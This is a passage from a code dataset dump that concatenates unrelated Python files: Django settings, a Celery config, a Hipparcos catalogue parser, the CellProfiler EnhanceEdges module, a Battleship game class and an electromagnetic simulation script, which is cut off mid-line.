executeTestCase.runTest(Dock_PluginTrashLeftClick)\n","sub_path":"dsystem/RRTestCase/testDock_PluginTrashLeftClick.py","file_name":"testDock_PluginTrashLeftClick.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"386126598","text":"\"\"\" Settings \"\"\"\nimport os\nimport dj_database_url\nfrom decouple import config, Csv\n\nos.environ.setdefault(\"DJANGO_DEBUG\", \"0\")\nos.environ.setdefault(\"DJANGO_ALLOWED_HOSTS\", \"*\")\nos.environ.setdefault(\"DJANGO_SECRET_KEY\", \"DevSecret\")\n\n# Set DATABASE_URL in env to override (tests, heroku)\ndocker_db = \"postgres://postgres@db:5432/recordbindb\"\nos.environ.setdefault(\"DATABASE_URL\", docker_db)\n\n# See Docker for defaults\nDEBUG = config(\"DJANGO_DEBUG\", cast=bool)\nSECRET_KEY = config(\"DJANGO_SECRET_KEY\")\nALLOWED_HOSTS = config(\"DJANGO_ALLOWED_HOSTS\", cast=Csv())\n\n# DATABASE\nDATABASE_URL = config(\"DATABASE_URL\")\ndb_config = dj_database_url.config(default=DATABASE_URL)\nDATABASES = {\"default\": db_config} # Django DATABASES\n\n# CORS\nCORS_ORIGIN_ALLOW_ALL = config(\"DJANGO_CORS_ORIGIN_ALLOW_ALL\", cast=bool, default=False)\nCORS_ORIGIN_WHITELIST = [\n 'recordbin.co',\n 'www.recordbin.co',\n *config(\"DJANGO_CORS_ORIGIN_WHITELIST\", cast=Csv(), default='')\n]\n\nif DEBUG:\n CORS_ORIGIN_WHITELIST.append('localhost:8080')\n\n# Security\n# https://github.com/rdegges/django-sslify\nif not DEBUG:\n SECURE_SSL_REDIRECT = config('DJANGO_SECURE_SSL_REDIRECT', cast=bool, default=True)\n SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\n# print(f\"------------------------------------\")\n# print(f\"DEBUG IS: {DEBUG}\")\n# print(f\"ALLOWED_HOSTS IS: {ALLOWED_HOSTS}\")\n# print(f\"SECRET_KEY IS: {SECRET_KEY[:5]}... (truncated)\")\n# print(\"DATABASE CONFIG: {USER}@{HOST}:{PORT}/{NAME} \".format(**db_config))\n# print(f\"------------------------------------\")\n","sub_path":"backend/settings/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"539118440","text":"from plugins.reporter.app.reporter_svc import ReporterService\n\nname = 'Reporter'\ndescription = 'The reporter checks for alerts in detection tools and creates reports'\naddress = '/plugin/reporter/gui'\n\n\nasync def enable(services):\n app = services.get('app_svc').application\n reporter_svc = ReporterService(services)\n app.router.add_static('/reporter', 'plugins/reporter/static/', append_version=True)\n app.router.add_route('POST', '/plugin/reporter/detectionreport', reporter_svc.detectionreport)\n app.router.add_route('POST', '/plugin/reporter/CSVexport', reporter_svc.csvexport)\n app.router.add_route('GET', '/plugin/reporter/gui', reporter_svc.splash)\n","sub_path":"plugins/reporter/hook.py","file_name":"hook.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"587520217","text":"#Oklahoma Water Survey Parameter set\nfrom config import CELERY_BROKER\n\nBROKER_URL = CELERY_BROKER\nCELERY_RESULT_BACKEND = \"mongodb\"\nCELERY_MONGODB_BACKEND_SETTINGS = {\n \"host\": \"worker.oklahomawatersurvey.org\",\n \"database\": \"cybercom_queue\",\n \"taskmeta_collection\": \"okwater\"\n}\n","sub_path":"celeryconfig.py","file_name":"celeryconfig.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"265228516","text":"#!/usr/bin/env python\n\n\n\n# receursively find the receptive field, r, of a convolutional network at layer m. gives the receptive field corresponding to convolution only along one dimension\n\n\n# recursively find product of strides up to the desired layer number m\ndef findStridesProduct(m, strides):\n if m == 1:\n return 1\n else:\n return strides[m-1] * findStridesProduct(m-1, strides)\n\n# find receptive field starting at m and receurse to m=0 (tail recursive)\n# kernels is list of size of each kernel, strides is list of strides used by each kernel\ndef findReceptiveField(m, kernels, strides):\n if m == 0: # the receptive field of the input to the convolution\n return 1\n else:\n # at each recursion you recalculate the strides product.\n # it would be better to recursively precalculate the product at each layer beforehand to skip re-computing the same products\n strides_product = findStridesProduct(m, strides)\n return findReceptiveField(m-1, kernels, strides) + (kernels[m] - 1) * strides_product\n\n\n# strides is a list with strides[m] corresponding to stride used for convolutional layer m. strides[0] should be 0 or 1 (since no convolution has yet been applied), although the function will never access the 0 index anyway (indexing by m for simplicity/readability)\n\n\n# VGG-16 architecture hardcoded as an example:\nkernels = [3, 3, 2, 3, 3, 2, 3, 3, 3, 2, 3, 3, 3, 2, 3, 3, 3, 2]\nstrides = [1, 1, 2, 1, 1, 2, 1, 1, 1, 2, 1, 1, 1, 2, 1, 1, 1, 2]\nreceptive = list()\nfor i in range(len(kernels)):\n # rewrite findReceptiveField so that it stores every receptive field up to and including the one you want\n receptive.append(findReceptiveField(i, kernels, strides)) \n\nfor i in range(len(kernels)):\n print(\"layer %d :\" % i)\n print(\"\\t kernel size: %s \\n \\t kernel stride: %s \\n \\t receptive field size: %s \\n\" % (kernels[i], strides[i], receptive[i]))\n\n\n# I'm not getting the same results as my by-hand calculations, check for bugs, test on smaller network\n","sub_path":"receptiveField.py","file_name":"receptiveField.py","file_ext":"py","file_size_in_byte":2022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"449137011","text":"import pandas as pd\n\ndef merge_dataframes(df1, df2, suffixes=('_hip7', '_hip9'), drop=[]):\n df = pd.merge(df1, df2, how='outer', left_index=True, right_index=True,\n suffixes=suffixes)\n return df\n\ndef make_dataframe(path, colNames, reindex=False):\n df = pd.read_table(path,\n delim_whitespace=True,\n names=colNames,\n usecols=colNames)\n if reindex:\n df.set_index('HIP', drop=True, inplace=True)\n return df\n\ndef process_data():\n # Paths to data files\n path2 = 'catalogs/hipparcos/hip2.txt'\n path7 = 'catalogs/hipparcos/hip7p.txt'\n path9 = 'catalogs/hipparcos/hip9p.txt'\n\n # Column names\n hip2cols = ['HIP', 'Sn', 'So', 'Nc', 'RArad', 'DErad', 'Plx', 'pmRA',\n 'pmDE', 'e_RArad', 'e_DErad', 'e_plx', 'e_pmRA', 'e_pmDE',\n 'Ntr', 'F2', 'F1', 'var', 'ic', 'Hpmag', 'e_Hpmag', 'sHp',\n 'VA', 'B-V', 'e_B-V', 'V-I']\n hip7cols = ['HIP', 'Fg', 'dpmRA', 'dpmDE', 'e_dpmRA', 'e_dpmDE']\n hip9cols = ['HIP', 'Fg', 'dpmRA', 'dpmDE', 'ddpmRA', 'ddpmDE',\n 'e_ddpmRA', 'e_ddpmDE']\n # Make the dataframes\n h2 = make_dataframe(path2, hip2cols, reindex=True)\n h7 = make_dataframe(path7, hip7cols, reindex=True)\n h9 = make_dataframe(path9, hip9cols, reindex=True)\n\n # Merge dataframes\n h = merge_dataframes(h2, h7)\n h = merge_dataframes(h, h9)\n return h\n\ndef fill_nan(df):\n df.Fg_hip7.fillna(df.Fg_hip9, inplace=True)\n df.dpmRA_hip7.fillna(df.dpmRA_hip9, inplace=True)\n df.dpmDE_hip7.fillna(df.dpmDE_hip9, inplace=True)\n return df\n \ndef main():\n hipparcos = process_data()\n print('\\nProcessed data for Hipparcos Catalogue.')\n print('Stars are indexed by its HIP designation (ID)\\n')\n print(hipparcos.info())\n\nif __name__ == '__main__':\n main()\n","sub_path":"starparser/pandasparser.py","file_name":"pandasparser.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"505674504","text":"# coding=utf-8\n\n\"\"\"\nEnhanceEdges\n============\n\n**EnhanceEdges** enhances or identifies edges in an image, which can\nimprove object identification or other downstream image processing.\n\nThis module enhances the edges (gradients - places where pixel\nintensities change dramatically) in a grayscale image. All\nmethods other than Canny produce a grayscale image that can be used in\nan **Identify** module or thresholded using the **Threshold**\nmodule to produce a binary (black/white) mask of edges. The Canny\nalgorithm produces a binary (black/white) mask image consisting of the\nedge pixels.\n\n|\n\n============ ============ ===============\nSupports 2D? Supports 3D? Respects masks?\n============ ============ ===============\nYES NO YES\n============ ============ ===============\n\n\"\"\"\n\nimport numpy as np\nfrom centrosome.filter import laplacian_of_gaussian\nfrom centrosome.filter import prewitt, hprewitt, vprewitt, stretch\nfrom centrosome.filter import roberts, canny, sobel, hsobel, vsobel\nfrom centrosome.kirsch import kirsch\nfrom centrosome.otsu import otsu3\nfrom scipy.ndimage import convolve\n\nimport cellprofiler.image as cpi\nimport cellprofiler.module as cpm\nimport cellprofiler.setting as cps\nfrom cellprofiler.setting import YES, NO\n\nM_SOBEL = \"Sobel\"\nM_PREWITT = \"Prewitt\"\nM_ROBERTS = \"Roberts\"\nM_LOG = \"LoG\"\nM_CANNY = \"Canny\"\nM_KIRSCH = \"Kirsch\"\n\nO_BINARY = \"Binary\"\nO_GRAYSCALE = \"Grayscale\"\n\nE_ALL = \"All\"\nE_HORIZONTAL = \"Horizontal\"\nE_VERTICAL = \"Vertical\"\n\n\nclass EnhanceEdges(cpm.Module):\n module_name = \"EnhanceEdges\"\n category = \"Image Processing\"\n variable_revision_number = 2\n\n def create_settings(self):\n self.image_name = cps.ImageNameSubscriber(\n \"Select the input image\", cps.NONE, doc='''Select the image whose edges you want to enhance.''')\n\n self.output_image_name = cps.ImageNameProvider(\n \"Name the output image\", \"EdgedImage\", doc='''Enter a name for the resulting image with edges enhanced.''')\n\n self.method = cps.Choice(\n \"Select an edge-finding method\",\n [M_SOBEL, M_PREWITT, M_ROBERTS, M_LOG, M_CANNY, M_KIRSCH], doc='''\\\nThere are several methods that can be used to enhance edges. Often, it\nis best to test them against each other empirically:\n\n- *%(M_SOBEL)s:* Finds edges using the %(M_SOBEL)s approximation to\n the derivative. The %(M_SOBEL)s method derives a horizontal and\n vertical gradient measure and returns the square-root of the sum of\n the two squared signals.\n- *%(M_PREWITT)s:* Finds edges using the %(M_PREWITT)s approximation\n to the derivative. It returns edges at those points where the\n gradient of the image is maximum.\n- *%(M_ROBERTS)s:* Finds edges using the Roberts approximation to the\n derivative. The %(M_ROBERTS)s method looks for gradients in the\n diagonal and anti-diagonal directions and returns the square-root of\n the sum of the two squared signals. This method is fast, but it\n creates diagonal artifacts that may need to be removed by smoothing.\n- *%(M_LOG)s:* Applies a Laplacian of Gaussian filter to the image and\n finds zero crossings.\n- *%(M_CANNY)s:* Finds edges by looking for local maxima of the\n gradient of the image. The gradient is calculated using the\n derivative of a Gaussian filter. The method uses two thresholds to\n detect strong and weak edges, and includes the weak edges in the\n output only if they are connected to strong edges. This method is\n therefore less likely than the others to be fooled by noise, and more\n likely to detect true weak edges.\n- *%(M_KIRSCH)s:* Finds edges by calculating the gradient among the 8\n compass points (North, North-east, etc.) and selecting the maximum as\n the pixel’s value.\n''' % globals())\n\n self.wants_automatic_threshold = cps.Binary(\n \"Automatically calculate the threshold?\", True, doc='''\\\n*(Used only with the \"%(M_CANNY)s\" option and automatic thresholding)*\n\nSelect *%(YES)s* to automatically calculate the threshold using a\nthree-category Otsu algorithm performed on the Sobel transform of the\nimage.\n\nSelect *%(NO)s* to manually enter the threshold value.\n''' % globals())\n\n self.manual_threshold = cps.Float(\n \"Absolute threshold\", 0.2, 0, 1, doc='''\\\n*(Used only with the \"%(M_CANNY)s\" option and manual thresholding)*\n\nThe upper cutoff for Canny edges. All Sobel-transformed pixels with this\nvalue or higher will be marked as an edge. You can enter a threshold\nbetween 0 and 1.\n''' % globals())\n\n self.threshold_adjustment_factor = cps.Float(\n \"Threshold adjustment factor\", 1, doc='''\\\n*(Used only with the \"%(M_CANNY)s\" option and automatic thresholding)*\n\nThis threshold adjustment factor is a multiplier that is applied to both\nthe lower and upper Canny thresholds if they are calculated\nautomatically. An adjustment factor of 1 indicates no adjustment. The\nadjustment factor has no effect on any threshhold entered manually.\n''' % globals())\n\n self.direction = cps.Choice(\n \"Select edge direction to enhance\",\n [E_ALL, E_HORIZONTAL, E_VERTICAL], doc='''\\\n*(Used only with \"%(M_PREWITT)s\" and \"%(M_SOBEL)s\" methods)*\n\nSelect the direction of the edges you aim to identify in the image\n(predominantly horizontal, predominantly vertical, or both).\n''' % globals())\n\n self.wants_automatic_sigma = cps.Binary(\"Calculate Gaussian's sigma automatically?\", True, doc=\"\"\"\\\nSelect *%(YES)s* to automatically calculate the Gaussian's sigma.\n\nSelect *%(NO)s* to manually enter the value.\n\"\"\" % globals())\n\n self.sigma = cps.Float(\"Gaussian's sigma value\", 10, doc=\"\"\"Set a value for Gaussian's sigma.\"\"\")\n\n self.wants_automatic_low_threshold = cps.Binary(\n \"Calculate value for low threshold automatically?\", True, doc=\"\"\"\\\n*(Used only with the \"%(M_CANNY)s\" option and automatic thresholding)*\n\nSelect *%(YES)s* to automatically calculate the low / soft threshold\ncutoff for the %(M_CANNY)s method.\n\nSelect *%(NO)s* to manually enter the low threshold value.\n\"\"\" % globals())\n\n self.low_threshold = cps.Float(\n \"Low threshold value\", 0.1, 0, 1, doc=\"\"\"\\\n*(Used only with the \"%(M_CANNY)s\" option and manual thresholding)*\n\nEnter the soft threshold cutoff for the %(M_CANNY)s method. The\n%(M_CANNY)s method will mark all %(M_SOBEL)s-transformed pixels with\nvalues below this threshold as not being edges.\n\"\"\" % globals())\n\n def settings(self):\n return [self.image_name, self.output_image_name,\n self.wants_automatic_threshold, self.manual_threshold,\n self.threshold_adjustment_factor, self.method,\n self.direction, self.wants_automatic_sigma, self.sigma,\n self.wants_automatic_low_threshold, self.low_threshold]\n\n def help_settings(self):\n return [\n self.image_name,\n self.output_image_name,\n self.method,\n self.direction,\n self.wants_automatic_sigma,\n self.sigma,\n self.wants_automatic_threshold,\n self.manual_threshold,\n self.threshold_adjustment_factor,\n self.wants_automatic_low_threshold,\n self.low_threshold\n ]\n\n def visible_settings(self):\n settings = [self.image_name, self.output_image_name]\n settings += [self.method]\n if self.method in (M_SOBEL, M_PREWITT):\n settings += [self.direction]\n if self.method in (M_LOG, M_CANNY):\n settings += [self.wants_automatic_sigma]\n if not self.wants_automatic_sigma.value:\n settings += [self.sigma]\n if self.method == M_CANNY:\n settings += [self.wants_automatic_threshold]\n if not self.wants_automatic_threshold.value:\n settings += [self.manual_threshold]\n settings += [self.wants_automatic_low_threshold]\n if not self.wants_automatic_low_threshold.value:\n settings += [self.low_threshold]\n if (self.wants_automatic_threshold or\n self.wants_automatic_low_threshold):\n settings += [self.threshold_adjustment_factor]\n return settings\n\n def run(self, workspace):\n image = workspace.image_set.get_image(self.image_name.value,\n must_be_grayscale=True)\n orig_pixels = image.pixel_data\n if image.has_mask:\n mask = image.mask\n else:\n mask = np.ones(orig_pixels.shape, bool)\n if self.method == M_SOBEL:\n if self.direction == E_ALL:\n output_pixels = sobel(orig_pixels, mask)\n elif self.direction == E_HORIZONTAL:\n output_pixels = hsobel(orig_pixels, mask)\n elif self.direction == E_VERTICAL:\n output_pixels = vsobel(orig_pixels, mask)\n else:\n raise NotImplementedError(\"Unimplemented direction for Sobel: %s\", self.direction.value)\n elif self.method == M_LOG:\n sigma = self.get_sigma()\n size = int(sigma * 4) + 1\n output_pixels = laplacian_of_gaussian(orig_pixels, mask, size, sigma)\n elif self.method == M_PREWITT:\n if self.direction == E_ALL:\n output_pixels = prewitt(orig_pixels)\n elif self.direction == E_HORIZONTAL:\n output_pixels = hprewitt(orig_pixels, mask)\n elif self.direction == E_VERTICAL:\n output_pixels = vprewitt(orig_pixels, mask)\n else:\n raise NotImplementedError(\"Unimplemented direction for Prewitt: %s\", self.direction.value)\n elif self.method == M_CANNY:\n high_threshold = self.manual_threshold.value\n low_threshold = self.low_threshold.value\n if (self.wants_automatic_low_threshold.value or\n self.wants_automatic_threshold.value):\n sobel_image = sobel(orig_pixels, mask)\n low, high = otsu3(sobel_image[mask])\n if self.wants_automatic_low_threshold.value:\n low_threshold = low * self.threshold_adjustment_factor.value\n if self.wants_automatic_threshold.value:\n high_threshold = high * self.threshold_adjustment_factor.value\n output_pixels = canny(orig_pixels, mask, self.get_sigma(),\n low_threshold,\n high_threshold)\n elif self.method == M_ROBERTS:\n output_pixels = roberts(orig_pixels, mask)\n elif self.method == M_KIRSCH:\n output_pixels = kirsch(orig_pixels)\n else:\n raise NotImplementedError(\"Unimplemented edge detection method: %s\" %\n self.method.value)\n\n output_image = cpi.Image(output_pixels, parent_image=image)\n workspace.image_set.add(self.output_image_name.value, output_image)\n\n if self.show_window:\n workspace.display_data.orig_pixels = orig_pixels\n workspace.display_data.output_pixels = output_pixels\n\n def display(self, workspace, figure):\n orig_pixels = workspace.display_data.orig_pixels\n output_pixels = workspace.display_data.output_pixels\n\n figure.set_subplots((2, 2))\n figure.subplot_imshow_grayscale(0, 0, orig_pixels,\n \"Original: %s\" %\n self.image_name.value)\n if self.method == M_CANNY:\n # Canny is binary\n figure.subplot_imshow_bw(0, 1, output_pixels,\n self.output_image_name.value,\n sharexy=figure.subplot(0, 0))\n else:\n figure.subplot_imshow_grayscale(0, 1, output_pixels,\n self.output_image_name.value,\n sharexy=figure.subplot(0, 0))\n color_image = np.zeros((output_pixels.shape[0],\n output_pixels.shape[1], 3))\n color_image[:, :, 0] = stretch(orig_pixels)\n color_image[:, :, 1] = stretch(output_pixels)\n figure.subplot_imshow(1, 0, color_image, \"Composite image\",\n sharexy=figure.subplot(0, 0))\n\n def get_sigma(self):\n if self.wants_automatic_sigma.value:\n #\n # Constants here taken from FindEdges.m\n #\n if self.method == M_CANNY:\n return 1.0\n elif self.method == M_LOG:\n return 2.0\n else:\n raise NotImplementedError(\"Automatic sigma not supported for method %s.\" % self.method.value)\n else:\n return self.sigma.value\n\n def upgrade_settings(self, setting_values, variable_revision_number,\n module_name, from_matlab):\n if from_matlab and variable_revision_number == 3:\n setting_values = [\n setting_values[0], # ImageName\n setting_values[1], # OutputName\n setting_values[2] == cps.DO_NOT_USE, # Threshold\n setting_values[2]\n if setting_values[2] != cps.DO_NOT_USE\n else .5,\n setting_values[3], # Threshold adjustment factor\n setting_values[4], # Method\n setting_values[5], # Filter size\n setting_values[8], # Direction\n setting_values[9] == cps.DO_NOT_USE, # Sigma\n setting_values[9]\n if setting_values[9] != cps.DO_NOT_USE\n else 5,\n setting_values[10] == cps.DO_NOT_USE, # Low threshold\n setting_values[10]\n if setting_values[10] != cps.DO_NOT_USE\n else .5]\n from_matlab = False\n variable_revision_number = 1\n\n if from_matlab == False and variable_revision_number == 1:\n # Ratio removed / filter size removed\n setting_values = setting_values[:6] + setting_values[7:]\n variable_revision_number = 2\n return setting_values, variable_revision_number, from_matlab\n\n\nFindEdges = EnhanceEdges\n","sub_path":"cellprofiler/modules/enhanceedges.py","file_name":"enhanceedges.py","file_ext":"py","file_size_in_byte":14302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"591262825","text":"import os\nimport pickle\nfrom time import sleep\nfrom typing import List, Optional\n\nfrom stats import statistics\nfrom view.options import MenuOption\nfrom game.player_logic import CommandLineInstruction, AI\nfrom components.ship import ShipType\nfrom components.board import Board\nfrom view.canvas import PlaceShipsMenuCanvas, PlaceShipsCanvas, FinishedPlacingShipsCanvas, TakeTurnCanvas, center_format, \\\n GameOverScreenCanvas\nfrom game.player import Player, UserProfile\nfrom view.view import View\n\n\nclass GameMode:\n def __init__(self):\n self.board_dimension = 5\n self.ship_types: List[ShipType] = [ShipType.SUBMARINE, ShipType.SUBMARINE, ShipType.SUBMARINE]\n\n def get_dimension(self) -> int:\n return self.board_dimension\n\n def get_ship_types(self) -> List[ShipType]:\n return self.ship_types\n\n\nclass Game:\n def __init__(self, user_profile: UserProfile, view: View, game_mode: GameMode = GameMode()):\n # initialize human player\n fleet_board = Board(game_mode.get_dimension(), is_target=False)\n target_board = Board(game_mode.get_dimension(), is_target=True)\n self.player1 = Player(user_profile, CommandLineInstruction(), fleet_board, target_board,\n game_mode.get_ship_types(), is_ai=False)\n statistics.Statistics.set_most_recent_game_stats_to_zero(self.player1.user_profile.get_user_name())\n\n # initialize AI player\n fleet_board = Board(game_mode.get_dimension(), is_target=False)\n target_board = Board(game_mode.get_dimension(), is_target=True)\n self.player2 = Player(None, AI(), fleet_board, target_board, game_mode.get_ship_types(), is_ai=True)\n\n # set each Player's opponent to finish Player initialization\n self.player1.setOpponent(self.player2)\n self.player2.setOpponent(self.player1)\n\n # human player will start first\n self.current_player = self.player2\n\n # Game implements the Model part of the MVC pattern\n self.view = view\n\n # Switch the current player\n def switch_player(self):\n if self.current_player == self.player1:\n self.current_player = self.player2\n else:\n self.current_player = self.player1\n\n # Alternates between players' turns. Continues loop as long as no player has achieved victory\n def run_game(self, dry_run=False) -> Optional[MenuOption]:\n # dry_run=True\n if dry_run:\n self.player2.victory = True\n self.end_game()\n return\n \n while not self.current_player.is_victorious():\n self.save_game() # the game is saved after every turn\n self.switch_player()\n ret = self.current_player.take_turn()\n if isinstance(ret, MenuOption):\n return ret\n hits, misses, ships_lost = ret\n\n message = \"\"\n if self.current_player == self.player1:\n self.player1.target_board.canvas.update_hits(hits)\n self.player1.target_board.canvas.update_misses(misses)\n if hits:\n message += center_format.format(\"Your attack on the coordinates: \"\n \"{} resulted in successful hits\\n\".format\n ([(h.row, h.column) for h in hits]))\n if misses:\n message += center_format.format(\"Your attack on the coordinates: \"\n \"{} unfortunately missed the target\\n\".format\n ([(m.row, m.column) for m in misses]))\n\n if ships_lost:\n message += center_format.format(\"You just sunk these ships!: {}\".format\n (([(ship.name, ship.get_size()) for ship in ships_lost]))) + \\\n center_format.format(\"Your opponent has the following ships remaining: {}\".format\n ([(ship.name, ship.get_size()) for ship in self.player2.fleet]))\n\n opponent_turn = True\n else:\n self.player1.fleet_board.canvas.update_hits(hits)\n self.player1.fleet_board.canvas.update_misses(misses)\n if hits:\n message += center_format.format(\"Your opponent's attack on the coordinates: \"\n \"{} resulted in successful hits\\n\".format\n ([(h.row, h.column) for h in hits]))\n if misses:\n message += center_format.format(\"Your opponent's attack on the coordinates: \"\n \"{} missed the target\\n\".format\n ([(m.row, m.column) for m in misses]))\n if ships_lost:\n message += center_format.format(\"Your opponent just sunk these ships!: {}\".format\n ([(ship.name, ship.get_size()) for ship in ships_lost])) + \\\n center_format.format(\"You have the following ships remaining: {}\".format\n ([(ship.name, ship.get_size()) for ship in self.player1.fleet]))\n opponent_turn = False\n\n self.view.update_display(TakeTurnCanvas(self.player1.fleet_board.canvas,\n self.player1.target_board.canvas, message, opponent_turn))\n sleep(2)\n\n self.end_game()\n\n # Prints Victory or Loss screen and ends game\n def end_game(self):\n user_won = False\n if self.player1.is_victorious():\n user_won = True\n statistics.Statistics.update_win_loss_stats(self.player1.user_profile.get_user_name(), user_won)\n self.delete_game()\n self.view.update_display(GameOverScreenCanvas(user_won=user_won))\n\n # saves game to pickle, which gets written to file\n # the pickle files implicitly implment the Memento pattern with\n # Program and Game\n def save_game(self):\n # player1 is the human user\n file_name = \"save_game_\" + self.player1.user_profile.get_user_name() + \".p\"\n directory = os.path.dirname(os.path.dirname(__file__))\n file_path = os.path.join(directory, \"saves\", file_name)\n try:\n pickle.dump(self, open(file_path, \"wb\"))\n except:\n \n print(\"Failed to save game\")\n\n def delete_game(self):\n # player1 is the human user\n file_name = \"save_game_\" + self.player1.user_profile.get_user_name() + \".p\"\n directory = os.path.dirname(os.path.dirname(__file__))\n file_path = os.path.join(directory, \"saves\", file_name)\n try:\n os.remove(file_path)\n except OSError:\n print(\"Failed to delete game\")\n\n # intended to be called by a non-Game instance. Loads a saved game from a pickle\n # and returns a Game instance.\n @staticmethod\n def load_saved_game(user: UserProfile):\n file_name = \"save_game_\" + user.get_user_name() + \".p\"\n directory = os.path.dirname(os.path.dirname(__file__))\n file_path = os.path.join(directory, \"saves\", file_name)\n ret: Game = None\n try:\n ret = pickle.load(open(file_path, \"rb\"))\n return ret\n except:\n print(\"Failed to load game\")\n return ret\n\n def get_player_board_canvas(self):\n return self.player1.fleet_board.canvas\n\n def get_player_ship_placement_canvas(self):\n return PlaceShipsMenuCanvas(self.player1.fleet_board.canvas)\n\n def get_take_turn_canvas(self):\n return TakeTurnCanvas(self.player1.fleet_board.canvas, self.player1.target_board.canvas)\n\n def position_player_fleet(self, player: Player):\n for ship_type in player.ships_to_place:\n if not player.is_ai:\n self.view.update_display(PlaceShipsCanvas(player.fleet_board.canvas, ship_type))\n ship = player.position_ship(ship_type)\n if not player.is_ai:\n player.fleet_board.canvas.update_ship_cells(ship.tiles)\n if not player.is_ai:\n self.view.update_display(FinishedPlacingShipsCanvas(player.fleet_board.canvas))\n\n def position_fleets(self, dry_run=False):\n\n self.position_player_fleet(self.player2)\n self.position_player_fleet(self.player1)\n\n","sub_path":"game/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":8531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"12283631","text":"#!/usr/bin/env python\n\nimport source, Structure, PML, plotting, build\nimport os, time, datetime, sys\nimport numpy as np\nfrom mpi4py import MPI\n\nnm = 1e-9\num = 1e-6\n\nSpace = build.Space()\nSpace.grid = [128,128,1260]\nSpace.gridgap = [50*nm, 50*nm, 5*nm]\n\n#Ball = Structure.Sphere(Space,[16,16,110], 10, eps_r=9., mu_r=1., sigma=0.)\nslab = Structure.Box(Space,[0,0,300], [128,128,400], eps_r=9.23, mu_r=1.2 , sigma=0.)\nslab = Structure.Box(Space,[0,0,400], [128,128,500], eps_r=1.23, mu_r=1.02 , sigma=0.)\nslab = Structure.Box(Space,[0,0,500], [128,128,600], eps_r=4.01, mu_r=1.00, sigma=0.)\n#GaAs = diel.Box([0,0,380], [64,64,460], eps_r=9., mu_r=1., sigma=0.)\n#GaAs = diel.Box([0,0,460], [64,64,570], eps_r=5., mu_r=1.12, sigma=0.)\n\nsavedir = '/home/ldg/pyscript/hybrid.PSTD.py3/block.cpu.1c.Hz/'\nUPML = PML.UPML(Space,{'z':'+-'}, npml=10)\n#UPML.save_coeff_data(savedir)\nSpace.Apply_PML(UPML)\n\nFields = build.Fields(Space)\n\nSrc = source.Gaussian(Space)\n#Src.wvlen(400*nm,800*nm, .5*nm,spread=0.3)\nSrc.wvlen = [400*nm, 800*nm, .1*nm, 0.3]\n\nFields.nsteps = 1001 \n\nsrc_xpos = slice(None,None)\n#src_xpos = 256\nsrc_ypos = slice(None,None)\n#src_ypos = 256\n#src_zpos = slice(None,None)\nsrc_zpos = 30\ntrs_pos = -30\n\nFields.ref_trs_pos = (src_zpos, trs_pos)\n#Fields.set_src('Ez',[src_xpos,src_ypos,src_zpos],'soft')\nFields.set_src('Ex',[src_xpos,src_ypos,src_zpos],'soft')\n#Fields.set_src('Ey',[src_xpos,src_ypos,src_zpos],'soft')\n\ngraphtool = plotting.Graphtool(savedir)\n\nif Space.rank == 0 : \n\tt0 = datetime.datetime.now()\n\tprint(\"Total time step: %d\" %(Fields.nsteps))\n\tprint((\"Size of a total field array : %05.2f Mbytes\" %(Space.Mbytes_of_totalSIZE)))\n\tprint(\"Simulation start\")\n\nfor tstep in range(Fields.nsteps):\n\t\n\tpulse = Src.pulse(tstep,pick_pos=2200)\n\n\tFields.put_src(pulse)\n\tFields.get_ref(tstep)\n\tFields.get_trs(tstep)\n\n\tFields.updateH(tstep)\n\tFields.updateE(tstep)\n\t\n\tt1 = datetime.datetime.now()\n\t\n\tif tstep % 100 == 0:\n\t\tSpace.comm.Barrier()\n\t\tif Space.rank == 0:\n\t\t\tt1 = datetime.datetime.now()\n\t\t\tprint((\"time: %s, step: %05d, %5.2f%%\" %(t1-t0, tstep, 100.*tstep/Fields.nsteps)))\n#\t\tgraphtool.plot2D3D(Fields,'Ex',tstep,xidx=Space.gridxc)\n#\t\tgraphtool.plot2D3D(Fields,'Ey',tstep,yidx=Space.gridyc, colordeep=2., stride=2, zlim=2.)\n#\t\tgraphtool.plot2D3D(Fields,'Ez',tstep,zidx=0, colordeep=2, stride=2, zlim=2)\n#\t\tgraphtool.plot2D3D(Fields,'Hx',tstep,zidx=0, stride=2)\n#\t\tgraphtool.plot2D3D(Fields,'Hy',tstep,zidx=0, stride=2)\n\n\tif tstep == (Fields.nsteps-1):\n\t\tSpace.comm.Barrier()\n\t\tif Space.rank == 0:\n\t\t\tt1 = datetime.datetime.now()\n\t\t\tcal_time = t1 - t0\n\t\t\tprint((\"time: %s, step: %05d, %5.2f%%\" %(cal_time, tstep, 100.*tstep/Fields.nsteps)))\n\nif Space.rank == 0 :\n\tprint(\"Simulation finished\")\n\tprint(\"Plotting Start\")\n\ngraphtool.plot_ref_trs(Fields, Src)\ngraphtool.plot_src(Fields, Src)\n\nif Space.rank == 0 : \n\n\tt2 = datetime.datetime.now()\n\tprint(\"time: %s\" %(t2-t0))\n\tprint(\"Plotting finished\")\n\n\tif not os.path.exists(\"./record\") : os.mkdir(\"./record\")\n\trecord_path = \"./record/record_%s.txt\" %(datetime.date.today())\n\n\tif not os.path.exists(record_path):\n\t\tf = open( record_path,'a')\n\t\tf.write(\"{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n\" \\\n\t\t\t.format(\"gridx\",\"gridy\",\"gridz\",\"gridgapx\",\"gridgapy\",\"gridgapz\",\"nsteps\",\"cal_time\"))\n\t\tf.close()\n\n\tf = open( 